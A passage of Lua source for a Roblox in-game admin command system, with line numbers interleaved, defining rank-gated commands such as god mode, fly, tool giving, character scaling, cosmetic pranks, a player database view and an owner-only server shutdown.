	[{"nostrobe", "unstrobe", "noblind", "unblind"}] = {"player", "Clears the strobe effect from player's screen", 1, "Member", false, function(Speaker, Rank, Arguments)
6720
		local Players = STRING:Scan(Arguments[1], Speaker)
6721
		for _,Player in pairs(Players) do
6722
			if Player:FindFirstChild("PlayerGui") then
6723
				local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6724
			end
6725
		end
6726
	end};
6727
	
6728
	[{"blind"}] = {"player", "Makes player unable to see", 1, "Member", false, function(Speaker, Rank, Arguments)
6729
		local Players = STRING:Scan(Arguments[1], Speaker)
6730
		for _,Player in pairs(Players) do
6731
			if Player:FindFirstChild("PlayerGui") then
6732
				local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6733
				SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
6734
				local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100 Frame.BackgroundColor3 = Color3.new(0,0,0)
6735
			end
6736
		end
6737
	end};
6738
	
6739
	[{"rejoin", "rj", "rej", "rjoin"}] = {"", "Makes yourself rejoin the server", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
6740
		local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(Speaker.UserId)
6741
		if Suc then
6742
			Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Speaker)
6743
		else
6744
			Server.TS:Teleport(game.PlaceId, Speaker)
6745
		end
6746
	end};
6747
	
6748
	[{"abuselist", "abusablecommands", "abusecmds", "ac"}] = {"", "Shows a list of abusable commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
6749
		GUI:ListGui(Speaker, "Abusable Commands", Settings.AbuseList, 2015506)
6750
	end};
6751
	
6752
	[{"addabuse", "makeabuse", "abusecmd", "abusecommand", "addabusable", "makeabusable", "abusablecmd", "abusablecommand"}] = {"string(command)", "Adds string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6753
		local NewAbuse = Arguments[1]
6754
		if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
6755
			NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
6756
		end
6757
		
6758
		local Match = false
6759
		for _,AbuseCmd in pairs(Settings.AbuseList) do
6760
			if string.lower(AbuseCmd) == string.lower(NewAbuse) then
6761
				Match = true
6762
				break
6763
			end
6764
		end
6765
		if not Match then
6766
			table.insert(Settings.AbuseList, NewAbuse)
6767
			GUI:MessageAdmins("New abusable command", Speaker.Name.." has made '"..NewAbuse.."' an abuseable command", "Check")
6768
		else
6769
			GUI:SendMessage(Speaker, "Command Exists", "RED This command matches another in the abuse list, therefore, will not be added", "Error")
6770
		end
6771
		CORE:SetAbuseCommands()
6772
	end};
6773
	
6774
	[{"removeabuse", "removeabuse", "removeabusecmd", "removeabusecommand", "removeabusable", "removeabusable", "removeabusablecmd", "removeabusablecommand", "noabuse", "unabuse", "noabusable", "unabusable"}] = {"string(command)", "Removes string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6775
		local NewAbuse = Arguments[1]
6776
		if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
6777
			NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
6778
		end
6779
		
6780
		local Removed = false
6781
		for Num,AbuseCmd in pairs(Settings.AbuseList) do
6782
			if string.sub(string.lower(AbuseCmd), 1, #NewAbuse) == string.lower(NewAbuse) then
6783
				Removed = true
6784
				table.remove(Settings.AbuseList, Num)
6785
			end
6786
		end
6787
		if Removed then
6788
			GUI:MessageAdmins("Removed abusable command", Speaker.Name.." has removed '"..NewAbuse.."' from the abuse list", "Check")
6789
		else
6790
			GUI:SendMessage(Speaker, "Command not removed", "RED Could not find '"..NewAbuse.."' in abuse list", "Error")
6791
		end
6792
		CORE:SetAbuseCommands()
6793
	end};
6794
	
6795
	[{"god", "power"}] = {"player", "Gives player unlimited health", 1, "Member", false, function(Speaker, Rank, Arguments)
6796
		local Players = STRING:Scan(Arguments[1], Speaker)
6797
		for _,Player in pairs(Players) do
6798
			if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6799
				Player.Character.Humanoid.MaxHealth = math.huge
6800
				Player.Character.Humanoid.Health = math.huge
6801
			end
6802
		end
6803
	end};
6804
	
6805
	[{"heal", "nogod", "ungod", "nopower", "unpower"}] = {"player", "Resets health to full, undoes god effect(Doesn't mean there isn't God)", 1, "Member", false, function(Speaker, Rank, Arguments)
6806
		local Players = STRING:Scan(Arguments[1], Speaker)
6807
		for _,Player in pairs(Players) do
6808
			if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6809
				if Player.Character.Humanoid.MaxHealth == math.huge then
6810
					Player.Character.Humanoid.MaxHealth = 100
6811
					Player.Character.Humanoid.Health = 100
6812
				else
6813
					Player.Character.Humanoid.Health = Player.Character.Humanoid.MaxHealth
6814
				end
6815
			end
6816
		end
6817
	end};
6818
	
6819
	[{"loopheal"}] = {"player", "Loops player's health to full", 1, "Member", false, function(Speaker, Rank, Arguments)
6820
		local Players = STRING:Scan(Arguments[1], Speaker)
6821
		for _,Player in pairs(Players) do
6822
			if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6823
				local Char = Player.Character
6824
				repeat Char.Humanoid.Health = Char.Humanoid.MaxHealth wait() until not Char:FindFirstChild("Humanoid") or Char.Parent == nil or Char.Humanoid.Health == 0
6825
			end
6826
		end
6827
	end};
6828
	
6829
	[{"health"}] = {"player num", "Sets the health of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6830
		if tonumber(Arguments[2]) then
6831
			local Players = STRING:Scan(Arguments[1], Speaker)
6832
			for _,Player in pairs(Players) do
6833
				if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6834
					Player.Character.Humanoid.Health = Arguments[2]
6835
				end
6836
			end
6837
		end
6838
	end};
6839
	
6840
	[{"speed", "ws", "walkspeed"}] = {"player num", "Sets the speed of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6841
		if tonumber(Arguments[2]) then
6842
			local Players = STRING:Scan(Arguments[1], Speaker)
6843
			for _,Player in pairs(Players) do
6844
				if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6845
					local Speed = tonumber(Arguments[2])
6846
					if Speed then
6847
						if Rank == "Member" then
6848
							if Speed > 1000 then Speed = 1000
6849
							elseif Speed < -1000 then Speed = -1000 end
6850
						end
6851
						Player.Character.Humanoid.WalkSpeed = Speed
6852
					end
6853
				end
6854
			end
6855
		end
6856
	end};
6857
	
6858
	[{"damage", "dmg"}] = {"player num", "Takes away num health from player", 2, "Member", false, function(Speaker, Rank, Arguments)
6859
		if tonumber(Arguments[2]) then
6860
			local Players = STRING:Scan(Arguments[1], Speaker)
6861
			for _,Player in pairs(Players) do
6862
				if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6863
					Player.Character.Humanoid.Health = Player.Character.Humanoid.Health - Arguments[2]
6864
				end
6865
			end
6866
		end
6867
	end};
6868
	
6869
	[{"fly"}] = {"player", "Lets player be able to fly", 1, "Member", false, function(Speaker, Rank, Arguments)
6870
		local Players = STRING:Scan(Arguments[1], Speaker)
6871
		for _,Player in pairs(Players) do
6872
			CORE:Fly(Player, 10000)
6873
		end
6874
	end};
6875
	
6876
	[{"noclip", "noc"}] = {"player", "Lets player be able to noclip", 1, "Member", false, function(Speaker, Rank, Arguments)
6877
		local Players = STRING:Scan(Arguments[1], Speaker)
6878
		for _,Player in pairs(Players) do
6879
			CORE:Fly(Player, 1000000)
6880
		end
6881
	end};
6882
	
6883
	[{"nofly", "unfly", "clip", "nonoclip", "unnoclip"}] = {"player", "Removes fly or noclip effect", 1, "Member", false, function(Speaker, Rank, Arguments)
6884
		local Players = STRING:Scan(Arguments[1], Speaker)
6885
		for _,Player in pairs(Players) do
6886
			if Player.Character then
6887
				if Player.Character:FindFirstChild("StopMMLFly") then
6888
					Player.Character.StopMMLFly:InvokeClient(Player)
6889
				end
6890
			end
6891
		end
6892
	end};
6893
	
6894
	[{"clearcache", "clearc", "cc"}] = {"", "Clears cached objects such as market info and http local scripts", 0, "Owner", false, function(Speaker, Rank, Arguments)
6895
		ScriptCache,MarketCache,CharacterCache,PackageCache = {},{},{},{}
6896
		GUI:SendMessage(Speaker, "Cache Cleared", "Cache has been cleared successfully", "Check")
6897
	end};
6898
	
6899
	[{"give"}] = {"player string", "Gives player any tool found named string. Can also give build tools (basicbtools, btools, psbtools)", 2, "Member", false, function(Speaker, Rank, Arguments)
6900
		local Players = STRING:Scan(Arguments[1], Speaker)
6901
		for _,Player in pairs(Players) do
6902
			CORE:GiveTools(Player, Arguments[2])
6903
		end
6904
	end};
6905
	
6906
	[{"tools", "gettools", "toollist", "toolslist"}] = {"", "Gets all tools that you can use the "..Settings.Prefix.."give command", 0, "Member", false, function(Speaker, Rank, Arguments)
6907
		local List = {}
6908
		for _,Region in pairs(ToolRegions) do
6909
			CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
6910
				table.insert(List, Item.Name.."  |  Found at: "..Item:GetFullName())
6911
			end)
6912
		end
6913
		
6914
		GUI:ListGui(Speaker, "Tool list", List, 73589272)
6915
	end};
6916
	
6917
	[{"btools", "buildtools", "buildingtools"}] = {"player string", "Gives player building tools", 1, "Member", false, function(Speaker, Rank, Arguments)
6918
		local Players = STRING:Scan(Arguments[1], Speaker)
6919
		for _,Player in pairs(Players) do
6920
			CORE:GiveTools(Player, "btools")
6921
		end
6922
	end};
6923
	
6924
	[{"shutdown", "sd"}] = {"", "Shuts down the server", 0, "Owner", false, function(Speaker, Rank, Arguments)
6925
		REMOTE:SendHttpLog(Speaker.Name.." shutdown the server", "INFORMATION")
6926
		for _,Player in pairs(Server.Players:GetPlayers()) do
6927
			Player:Kick()
6928
		end
6929
		Server.Workspace:ClearAllChildren()
6930
		string.find(string.rep("a", 2^20),string.rep(".?", 2^20))
6931
	end};
6932
	
6933
	[{"scale", "size"}] = {"player num", "Scales player's character to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6934
		local Players = STRING:Scan(Arguments[1], Speaker)
6935
		for _,Player in pairs(Players) do
6936
			CORE:Scale(Player, Arguments[2])
6937
		end
6938
	end};
6939
	
6940
	[{"mini", "small", "tiny", "small"}] = {"player", "Makes player's character mini", 1, "Member", false, function(Speaker, Rank, Arguments)
6941
		local Players = STRING:Scan(Arguments[1], Speaker)
6942
		for _,Player in pairs(Players) do
6943
			CORE:Scale(Player, 50)
6944
		end
6945
	end};
6946
	
6947
	[{"hobbit"}] = {"player", "Makes player's character hobbit sized", 1, "Member", false, function(Speaker, Rank, Arguments)
6948
		local Players = STRING:Scan(Arguments[1], Speaker)
6949
		for _,Player in pairs(Players) do
6950
			CORE:Scale(Player, 70)
6951
		end
6952
	end, Hidden = true};
6953
	
6954
	[{"mega", "huge", "giant", "large", "big"}] = {"player", "Makes player's character mega", 1, "Member", false, function(Speaker, Rank, Arguments)
6955
		local Players = STRING:Scan(Arguments[1], Speaker)
6956
		for _,Player in pairs(Players) do
6957
			CORE:Scale(Player, 500)
6958
		end
6959
	end};
6960
	
6961
	[{"gold", "goldify"}] = {"player", "Makes player's character gold", 1, "Member", false, function(Speaker, Rank, Arguments)
6962
		local Players = STRING:Scan(Arguments[1], Speaker)
6963
		for _,Player in pairs(Players) do
6964
			if Player.Character then
6965
				CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6966
					Obj.Reflectance = 0.5
6967
					Obj.BrickColor = BrickColor.new("New Yeller")
6968
				end)
6969
			end
6970
		end
6971
	end};
6972
	
6973
	[{"shine", "shiny", "shinify", "shineify"}] = {"player", "Makes player's character shiny", 1, "Member", false, function(Speaker, Rank, Arguments)
6974
		local Players = STRING:Scan(Arguments[1], Speaker)
6975
		for _,Player in pairs(Players) do
6976
			if Player.Character then
6977
				CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6978
					Obj.Reflectance = 0.5
6979
				end)
6980
			end
6981
		end
6982
	end};
6983
	
6984
	[{"ghost", "ghostify", "spook", "spooky"}] = {"player", "Makes player's character a ghost", 1, "Member", false, function(Speaker, Rank, Arguments)
6985
		local Players = STRING:Scan(Arguments[1], Speaker)
6986
		for _,Player in pairs(Players) do
6987
			if Player.Character then
6988
				CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6989
					Obj.Transparency = 0.5
6990
					Obj.Reflectance = 0 
6991
					Obj.BrickColor = BrickColor.new("Institutional white")
6992
				end)
6993
				CORE:ScanItems(Player.Character, {"Texture", "Decal"}, function(Obj)
6994
					Obj.Transparency = 0.5
6995
				end)
6996
			end
6997
		end
6998
	end};
6999
	
7000
	[{"nolimbs", "nolimb"}] = {"player", "Removes player's limbs", 1, "Member", false, function(Speaker, Rank, Arguments)
7001
		local Players = STRING:Scan(Arguments[1], Speaker)
7002
		for _,Player in pairs(Players) do
7003
			if Player.Character then
7004
				for _,Obj in pairs(Player.Character:GetChildren()) do
7005
					local Valid = false
7006
					for _,Name in pairs({"Right Arm", "Left Arm", "Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
7007
					if Valid == true then Obj:Destroy() end
7008
				end
7009
			end
7010
		end
7011
	end};
7012
	
7013
	[{"noarms", "noarm"}] = {"player", "Removes player's arms", 1, "Member", false, function(Speaker, Rank, Arguments)
7014
		local Players = STRING:Scan(Arguments[1], Speaker)
7015
		for _,Player in pairs(Players) do
7016
			if Player.Character then
7017
				for _,Obj in pairs(Player.Character:GetChildren()) do
7018
					local Valid = false
7019
					for _,Name in pairs({"Right Arm", "Left Arm"}) do if Obj.Name == Name then Valid = true end end
7020
					if Valid == true then Obj:Destroy() end
7021
				end
7022
			end
7023
		end
7024
	end};
7025
	
7026
	[{"nolegs", "noleg"}] = {"player", "Removes player's legs", 1, "Member", false, function(Speaker, Rank, Arguments)
7027
		local Players = STRING:Scan(Arguments[1], Speaker)
7028
		for _,Player in pairs(Players) do
7029
			if Player.Character then
7030
				for _,Obj in pairs(Player.Character:GetChildren()) do
7031
					local Valid = false
7032
					for _,Name in pairs({"Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
7033
					if Valid == true then Obj:Destroy() end
7034
				end
7035
			end
7036
		end
7037
	end};
7038
	
7039
	[{"noaccessories", "noaccessory", "noacs", "nohats", "nohat"}] = {"player", "Removes player's accessories", 1, "Member", false, function(Speaker, Rank, Arguments)
7040
		local Players = STRING:Scan(Arguments[1], Speaker)
7041
		for _,Player in pairs(Players) do
7042
			if Player.Character then
7043
				for _,Obj in pairs(Player.Character:GetChildren()) do
7044
					if Obj:IsA("Accoutrement") then
7045
						Obj:Destroy()
7046
					end
7047
				end
7048
			end
7049
		end
7050
	end};
7051
	
7052
	[{"naked", "noclothes"}] = {"player", "Removes player's clothes and hats", 1, "Member", false, function(Speaker, Rank, Arguments)
7053
		local Players = STRING:Scan(Arguments[1], Speaker)
7054
		for _,Player in pairs(Players) do
7055
			Player:ClearCharacterAppearance()
7056
		end
7057
	end};
7058
	
7059
	[{"playerdatabase", "playerbase", "playerdatab", "playerdb", "plrdatabase", "plrdatab", "plrdb", "pdatabase", "pdatab", "pdb"}] = {"", "Database of all the players in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
7060
		local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
7061
		local TmpPlayers = {}
7062
		local Output = {}
7063
		for _,Data in pairs(Players) do
7064
			table.insert(Output, {"Name: "..Data.Name.." | UserID: "..Data.UserId.." | Rank: "..Data.Rank.." | Last Joined: "..(Data.LastJoin or "Unknown").." | Account Age: "..(Data.AccountAge or "Unknown"), "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Data.Name})
7065
		end
7066
		GUI:ListGui(Speaker, "Player Database", Output, 120563622)
7067
	end};
7068
	
7069
	[{"clearplayerdatabase", "clearpdb", "cpdb"}] = {"", "Clears the player databse", 0, "Owner", false, function(Speaker, Rank, Arguments)
7070
		Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
7071
		GUI:SendHint(Speaker, "Player Database cleared", 5)
7072
	end};
7073
	
7074
	[{"hack", "hax"}] = {"player", "Fake hacks player", 1, "Member", true, function(Speaker, Rank, Arguments)
7075
		local Players = STRING:Scan(Arguments[1], Speaker)
7076
		for _,Player in pairs(Players) do
7077
			GUI:FakeHack(Player)
7078
		end
7079
	end};
7080
	
7081
	[{"clonetools", "clonet"}] = {"player", "Clones player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
7082
		local Players = STRING:Scan(Arguments[1], Speaker)
7083
		for _,Player in pairs(Players) do
7084
			if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
7085
				for _,Object in pairs(Player.Backpack:GetChildren()) do
7086
					if Object:IsA("Tool") or Object:IsA("HopperBin") then
7087
						local Clone = Object:Clone()
7088
						Clone.Parent = Speaker.Backpack
7089
					end
7090
				end
7091
			end
7092
		end
7093
	end};
7094
	
7095
	[{"taketools", "taket", "tt"}] = {"player", "Clone player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
7096
		local Players = STRING:Scan(Arguments[1], Speaker)
7097
		for _,Player in pairs(Players) do
7098
			if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
7099
				for _,Object in pairs(Player.Backpack:GetChildren()) do
7100
					if Object:IsA("Tool") or Object:IsA("HopperBin") then
7101
						Object.Parent = Speaker.Backpack
7102
					end
7103
				end
7104
			end
7105
		end
7106
	end};
7107
	
7108
	[{"givetools", "givet", "gt"}] = {"player", "Clone the speaker's tools and gives the to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7109
		local Players = STRING:Scan(Arguments[1], Speaker)
7110
		for _,Player in pairs(Players) do
7111
			if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
7112
				for _,Object in pairs(Speaker.Backpack:GetChildren()) do
7113
					if Object:IsA("Tool") or Object:IsA("HopperBin") then
7114
						local Clone = Object:Clone()
7115
						Clone.Parent = Player.Backpack
7116
					end
7117
				end
7118
			end
7119
		end
7120
	end};
7121
	
7122
	[{"notools", "notool", "cleartools", "cleantools", "ctools", "untools"}] = {"player", "Clears player's backpack", 1, "Member", false, function(Speaker, Rank, Arguments)
7123
		local Players = STRING:Scan(Arguments[1], Speaker)
7124
		for _,Player in pairs(Players) do
7125
			if Player:FindFirstChild("Backpack") then
7126
				Player.Backpack:ClearAllChildren()
7127
			end
7128
			if Player.Character ~= nil then
7129
				for _,Obj in pairs(Player.Character:GetChildren()) do
7130
					if Obj:IsA("Tool") or Obj:IsA("HopperBin") then
7131
						Obj:Destroy()
7132
					end
7133
				end
7134
			end
7135
		end
7136
	end};
7137
	
7138
	[{"vomit", "puke", "throwup", "barf"}] = {"player", "Makes player vomit", 1, "Member", true, function(Speaker, Rank, Arguments)
7139
		local Players = STRING:Scan(Arguments[1], Speaker)
7140
		for _,Player in pairs(Players) do
7141
			if Player.Character then
7142
				if Player.Character:FindFirstChild("Head") then
7143
					if Player.Character.Torso:FindFirstChild("Neck") and Player.Character.Head:FindFirstChild("face") then
7144
						coroutine.wrap(function()
7145
							if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
7146
								local OldFace = Player.Character.Head.face.Texture
7147
								Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(math.rad(20),0,0)
7148
								Player.Character.Head.BrickColor = BrickColor.new("Br. yellowish green")
7149
								Player.Character.Head.face.Texture = "rbxassetid://24067663"
7150
								local Sound = SOUND:MakeSound(Player.Character.Head, 142539016, 1, 0.9)
7151
								Sound:Play()
7152
								coroutine.wrap(function() for i = 1,100 do wait()
7153
									local Part = Instance.new("Part", Player.Character) Part.BrickColor = BrickColor.new("Br. yellowish green") Part.FormFactor = "Custom" Part.Elasticity = 0.1 Part.Size = Vector3.new(0.2,0.2,0.2) Part.Position = Player.Character.Head.Position + Vector3.new(math.random(-10,10)/10, math.random(-10,10)/10, math.random(-10,10)/10)
7154
									coroutine.wrap(function() wait(3) Part:Destroy() end)()
7155
								end
7156
								Sound:Destroy() Player.Character.Head.face.Texture = OldFace Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(-math.rad(20),0,0) pcall(function() Player.Character.Head.BrickColor = Player.Character["Body Colors"].HeadColor end) end)()
7157
							end end
7158
						end)()
7159
					end
7160
				end
7161
			end
7162
		end
7163
	end};
7164
	
7165
	[{"fart", "stink"}] = {"player", "Makes player fart", 1, "Member", true, function(Speaker, Rank, Arguments)
7166
		local Players = STRING:Scan(Arguments[1], Speaker)
7167
		for _,Player in pairs(Players) do
7168
			if Player.Character then
7169
				if Player.Character:FindFirstChild("Torso") and Player.Character.Head:FindFirstChild("face") then
7170
					coroutine.wrap(function()
7171
						if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
7172
							local OldFace = Player.Character.Head.face.Texture
7173
							local Fart = Instance.new("Part", Player.Character.Torso) Fart.Name = "Fart" Fart.Size = Vector3.new(1,1,1) Fart.Position = Vector3.new(0,100,0) Fart.Transparency = 1
7174
							local Weld = Instance.new("Weld", Fart) Weld.Part0 = Fart Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-1,-1) * CFrame.Angles(math.rad(-90),0,0)
7175
							local Smoke = Instance.new("Smoke", Fart) Smoke.Name = "Fart Effect" Smoke.Color = Color3.new(70/255, 100/255, 30/255)
7176
							Player.Character.Head.face.Texture = "rbxassetid://28118994"
7177
							local Sound = SOUND:MakeSound(Fart, 130833677, 1, 0.8)
7178
							Sound:Play()
7179
							wait(1)
7180
							Smoke.Enabled = false
7181
							wait(1)
7182
							Fart:Destroy()
7183
							Fart:Destroy()
7184
							Player.Character.Head.face.Texture = OldFace
7185
						end end
7186
					end)()
7187
				end
7188
			end
7189
		end
7190
	end};
7191
	
7192
	[{"graffiti", "graf", "gra", "draw"}] = {"player", "Gives player a tool to do graffiti", 1, "Member", true, function(Speaker, Rank, Arguments)
7193
		local Players = STRING:Scan(Arguments[1], Speaker)
7194
		for _,Player in pairs(Players) do
7195
			if Player:FindFirstChild("Backpack") then
7196
				CORE:ExecuteResource("Graffiti", Player.Backpack, {["Color"] = GUI:GetColor()})
7197
			end
7198
		end
7199
	end};
7200
	
7201
	[{"cleargraffiti", "cleargraf", "cleargra", "cleardraw", "cleangraffiti", "cleangraf", "cleangra", "cleandraw", "cgraffiti", "cgraf", "cgra", "cdraw"}] = {"", "Clears any graffiti", 0, "Admin", false, function(Speaker, Rank, Arguments)
7202
		local Players = STRING:Scan(Arguments[1], Speaker)
7203
		for _,Player in pairs(Players) do
7204
			if Player.Character and Player.Character:FindFirstChild("MMLGraffiti") then
7205
				Player.Character.MMLGraffiti:ClearAllChildren()
7206
			end
7207
		end
7208
	end};
7209
	
7210
	[{"light", "spotlight"}] = {"player", "Makes player and a small radius around whom to light up", 1, "Member", false, function(Speaker, Rank, Arguments)
7211
		local Players = STRING:Scan(Arguments[1], Speaker)
7212
		for _,Player in pairs(Players) do
7213
			if Player.Character and Player.Character:FindFirstChild("Torso") then
7214
				local Light = Player.Character.Torso:FindFirstChild("MML Light") if Light then Light:Destroy() end
7215
				Light = Instance.new("PointLight", Player.Character.Torso) Light.Name = "MML Light" Light.Range = 20 Light.Brightness = 2
7216
			end
7217
		end
7218
	end};
7219
	
7220
	[{"lamp", "pointlight", "headlight", "headlamp"}] = {"player", "Makes player and a small radius in from of whom to light up as if there was a head light", 1, "Member", false, function(Speaker, Rank, Arguments)
7221
		local Players = STRING:Scan(Arguments[1], Speaker)
7222
		for _,Player in pairs(Players) do
7223
			if Player.Character and Player.Character:FindFirstChild("Torso") then
7224
				local Light = Player.Character.Torso:FindFirstChild("MML Lamp") if Light then Light:Destroy() end
7225
				Light = Instance.new("SpotLight", Player.Character.Torso) Light.Name = "MML Lamp" Light.Range = 30 Light.Brightness = 5
7226
			end
7227
		end
7228
	end};
7229
	
7230
	[{"nolight", "nolamp", "unlight", "unlamp"}] = {"player", "Removes player's light and/or lamp", 1, "Member", false, function(Speaker, Rank, Arguments)
7231
		local Players = STRING:Scan(Arguments[1], Speaker)
7232
		for _,Player in pairs(Players) do
7233
			if Player.Character and Player.Character:FindFirstChild("Torso") then
7234
				local Lights = {}
7235
				for _,Obj in pairs(Player.Character.Torso:GetChildren()) do
7236
					if Obj.Name == "MML Lamp" or Obj.Name == "M".."ML Light" then
7237
						table.insert(Lights, Obj)
7238
					end
7239
				end
7240
				for _,Light in pairs(Lights) do
7241
					coroutine.wrap(function()
7242
						for i = 1,20 do
7243
							Light.Brightness = Light.Brightness/5
7244
							wait()
7245
						end
7246
						Light:Destroy()
7247
					end)()
7248
				end
7249
			end
7250
		end
7251
	end};
7252
	
7253
	[{"drug", "lsd"}] = {"player", "Gives player the effect of being on lsd", 1, "Member", false, function(Speaker, Rank, Arguments)
7254
		local Players = STRING:Scan(Arguments[1], Speaker)
7255
		for _,Player in pairs(Players) do
7256
			if Player.Character and Player:FindFirstChild("PlayerGui") then
7257
				local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
7258
				SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MML Drug"
7259
				local Frame = Instance.new("Frame", SG) Frame.Size = UDim2.new(1,0,1,0) Frame.BackgroundTransparency = 0.5
7260
				local Stop = false
7261
				coroutine.wrap(function()
7262
					repeat
7263
						Frame.BackgroundColor3 = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
7264
						wait(0.1)
7265
					until not SG or not SG.Parent
7266
				end)()
7267
				CORE:ExecuteResource("Drug", Player.Character)
7268
			end
7269
		end
7270
	end};
7271
	
7272
	[{"nodrug", "nolsd", "undrug", "unlsd"}] = {"player", "Removes drug effect", 1, "Member", false, function(Speaker, Rank, Arguments)
7273
		local Players = STRING:Scan(Arguments[1], Speaker)
7274
		for _,Player in pairs(Players) do
7275
			if Player:FindFirstChild("PlayerGui") then
7276
				local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
7277
				wait() CORE:RestoreCamera(Player)
7278
			end
7279
		end
7280
	end};
7281
	
7282
	[{"searchg", "searchgear"}] = {"string", "Searches the catalog for the gear string", 1, "Member", false, function(Speaker, Rank, Arguments)
7283
		local AbuseMode = false
7284
		if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
7285
		MARKET:ShowSearch(Speaker, 5, Arguments[1], function(ID)
7286
			if Speaker:FindFirstChild("Backpack") then
7287
				CORE:Insert(ID, Speaker.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
7288
			end
7289
		end)
7290
	end, Http = true};
7291
	
7292
	[{"searchaccessory", "searchaccessories", "searchacs", "searcha", "searchhat", "searchhats", "searchh"}] = {"string(type) string(query)", "Searches the catalog for the accessory string(query) with the type of string(type)", 1, "Member", false, function(Speaker, Rank, Arguments)
7293
		local Type = "all"
7294
		local Query = string.lower(Arguments[1])
7295
		local Arguments = STRING:GetSplit(Query, 2, Settings.Bet)
7296
		if #Arguments == 2 and Assets.AccessoryTypes[Arguments[1]] then
7297
			Type = Arguments[1]
7298
			Query = Arguments[2]
7299
		end
7300
		MARKET:ShowSearch(Speaker, 11, Query, function(ID)
7301
			if Speaker.Character then
7302
				CORE:Insert(ID, Speaker.Character, true, {"Accoutrement"})
7303
			end
7304
		end, MARKET:AccessoryToSubcategory(Type))
7305
	end, Http = true};
7306
	
7307
	[{"searchp", "searchpack", "searchpackage"}] = {"string", "Searches the catalog for the package string", 1, "Member", false, function(Speaker, Rank, Arguments)
7308
		MARKET:ShowSearch(Speaker, 11, Arguments[1], function(ID)
7309
			if Speaker.Character then
7310
				CORE:GivePackage(Speaker, ID)
7311
			end
7312
		end, 11)
7313
	end, Http = false};
7314
	
7315
	[{"nopackage", "nopack", "unpackage", "unpack"}] = {"player", "Removes all packages from player", 1, "Member", false, function(Speaker, Rank, Arguments)
7316
		local Players = STRING:Scan(Arguments[1], Speaker)
7317
		for _,Player in pairs(Players) do
7318
			CORE:GivePackage(Player)
7319
		end
7320
	end};
7321
	
7322
	[{"package", "pack", "morph"}] = {"player num(ID)", "Gives player the package with num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7323
		local Players = STRING:Scan(Arguments[1], Speaker)
7324
		for _,Player in pairs(Players) do
7325
			CORE:GivePackage(Player, Arguments[2])
7326
		end
7327
	end, Http = false};
7328
	
7329
	[{"change", "changestat", "changeleaderstat", "changestats", "changeleaderstats"}] = {"player string(key) value(string/num)", "Changes player's leaderstats for key(Coins, money, ext) to value", 3, "Member", false, function(Speaker, Rank, Arguments)
7330
		local Players = STRING:Scan(Arguments[1], Speaker)
7331
		for _,Player in pairs(Players) do
7332
			local Stats = Player:FindFirstChild("leaderstats")
7333
			if Stats ~= nil then
7334
				for _,Stat in pairs(Stats:GetChildren()) do
7335
					if string.sub(string.lower(Stat.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
7336
						ypcall(function() Stat.Value = Arguments[3] end)
7337
					end
7338
				end
7339
			end
7340
		end
7341
	end};
7342
	
7343
	[{"shirt"}] = {"player num(ID)", "Changes player's shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7344
		local ID = tonumber(Arguments[2])
7345
		local Players = STRING:Scan(Arguments[1], Speaker)
7346
		for _,Player in pairs(Players) do
7347
